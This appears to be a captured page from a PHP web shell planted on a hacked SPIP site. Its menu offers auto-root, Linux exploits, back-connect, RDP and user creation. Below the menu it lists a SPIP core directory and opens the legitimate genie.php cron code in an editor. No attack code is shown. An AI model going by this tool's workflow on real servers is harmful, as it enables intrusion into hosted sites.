Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : genie.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Gestion des tâches de fond * * Deux difficultés : * - la plupart des hebergeurs ne fournissent pas le Cron d'Unix * - les scripts usuels standard sont limites à 30 secondes * * Solution * -------- * Toute connexion à SPIP s'achève par un appel (asynchrone si possible) * à la fonction `cron()` qui appelle la fonction surchargeable `inc_genie_dist()` * * Sa définition standard ci-dessous prend dans une liste de tâches * la plus prioritaire. * * Une fonction exécutant une tâche doit retourner un nombre : * - nul, si la tache n'a pas à être effecutée * - positif, si la tache a été effectuée * - négatif, si la tache doit être poursuivie ou recommencée * * Elle recoit en argument la date de la dernière exécution de la tâche. * * On peut appeler cette fonction avec d'autres tâches (pour étendre SPIP) * spécifiée par des fonctions respectant le protocole ci-dessus. * * On peut ajouter des tâches périodiques ou modifier la fréquence * de chaque tâche et leur priorité en utilisant le pipeline * `taches_generales_cron`. * * On peut également directement en déclarer avec la balise `genie` d'un paquet.xml * de plugin, tel que `<genie nom="nom_de_la_tache" periode="86400" />` * * @package SPIP\Core\Genie **/ /** * Prévoit l'exécution de la tâche cron la plus urgente * * Les tâches sont dans un tableau `'nom de la tâche' => périodicité` * * Cette fonction exécute la tache la plus urgente, c'est à dire * celle dont la date de dernière exécution + la périodicité est minimale. * * La date de la prochaîne exécution de chaque tâche est indiquée dans la * table SQL `spip_jobs` * * La fonction exécutant la tâche est (généralement) un homonyme de préfixe "genie_". * Le fichier homonyme du repertoire "genie/" est automatiquement lu * et il est supposé définir cette fonction. * * @uses queue_add_job() Lorsqu'une tâche est à forcer * @uses queue_schedule() * @see taches_generales() Liste des tâches déclarées * * @param array $taches * Tâches dont on force maintenant l'exécution le plus tôt possible. * Sinon, prendra la tâche la plus prioritaire. * @return **/ function inc_genie_dist($taches = []) { include_spip('inc/queue'); if (_request('exec') == 'job_queue') { return false; } $force_jobs = []; // l'ancienne facon de lancer une tache cron immediatement // etait de la passer en parametre a ing_genie_dist // on reroute en ajoutant simplement le job a la queue, ASAP foreach ($taches as $function => $period) { $force_jobs[] = queue_add_job( $function, _T('tache_cron_asap', ['function' => $function]), [time() - abs($period)], 'genie/' ); } // et on passe la main a la gestion de la queue ! // en forcant eventuellement les jobs ajoute a l'instant return queue_schedule(count($force_jobs) ? $force_jobs : null); } // // Construction de la liste des taches. // la cle est la tache, // la valeur le temps minimal, en secondes, entre deux memes taches // NE PAS METTRE UNE VALEUR INFERIEURE A 30 // les serveurs Http n'accordant en general pas plus de 30 secondes // a leur sous-processus // function taches_generales($taches_generales = []) { // verifier que toutes les taches cron sont planifiees // c'est une tache cron ! $taches_generales['queue_watch'] = 3600 * 24; // MAJ des rubriques publiques (cas de la publication post-datee) // est fait au coup par coup a present // $taches_generales['rubriques'] = 3600; // Optimisation de la base $taches_generales['optimiser'] = 3600 * 48; // nouveautes if ( isset($GLOBALS['meta']['adresse_neuf']) && $GLOBALS['meta']['adresse_neuf'] && (int) $GLOBALS['meta']['jours_neuf'] && $GLOBALS['meta']['quoi_de_neuf'] == 'oui' ) { $taches_generales['mail'] = 3600 * 24 * (int) $GLOBALS['meta']['jours_neuf']; } // maintenance (ajax, verifications diverses) $taches_generales['maintenance'] = 3600 * 2; // verifier si une mise a jour de spip est disponible (2 fois par semaine suffit largement) $taches_generales['mise_a_jour'] = 3 * 24 * 3600; return pipeline('taches_generales_cron', $taches_generales); } /** * Une tâche périodique pour surveiller les tâches crons et les relancer si besoin * * Quand ce cron s'execute, il n'est plus dans la queue, donc il se replanifie * lui même, avec last=time() * avec une dose d'aleatoire pour ne pas planifier toutes les taches au meme moment * * @uses taches_generales() * @uses queue_genie_replan_job() * * @return int */ function genie_queue_watch_dist() { static $deja_la = false; if ($deja_la) { return; } // re-entrance si l'insertion des jobs echoue (pas de table spip_jobs a l'upgrade par exemple) $deja_la = true; $taches = taches_generales(); $programmees = sql_allfetsel('fonction', 'spip_jobs', sql_in('fonction', array_keys($taches))); $programmees = array_column($programmees, 'fonction'); foreach ($taches as $tache => $periode) { if (!in_array($tache, $programmees)) { queue_genie_replan_job($tache, $periode, time() - round(random_int(1, $periode)), 0); } } $deja_la = false; return 1; } /** * Replanifier une tache periodique * * @param string $function * nom de la fonction a appeler * @param int $period * periodicite en secondes * @param int $last * date du dernier appel (timestamp) * @param int $time * date de replanification * si null calculee automaitquement a partir de $last et $period * si 0 = asap mais on n'insere pas le job si deja en cours d'execution * @param int $priority * priorite * @return void */ function queue_genie_replan_job($function, $period, $last = 0, $time = null, $priority = 0) { static $done = []; if (isset($done[$function])) { return; } $done[$function] = true; if (is_null($time)) { $time = time(); if ($last) { $time = max($last + $period, $time); } } if (!$last) { $last = $time - $period; } spip_log("replan_job $function $period $last $time $priority", 'queue'); include_spip('inc/queue'); // on replanifie un job cron // uniquement si il n'y en a pas deja un avec le meme nom // independament de l'argument queue_add_job( $function, _T('tache_cron_secondes', ['function' => $function, 'nb' => $period]), [$last], 'genie/', 'function_only', $time, $priority ); }
Close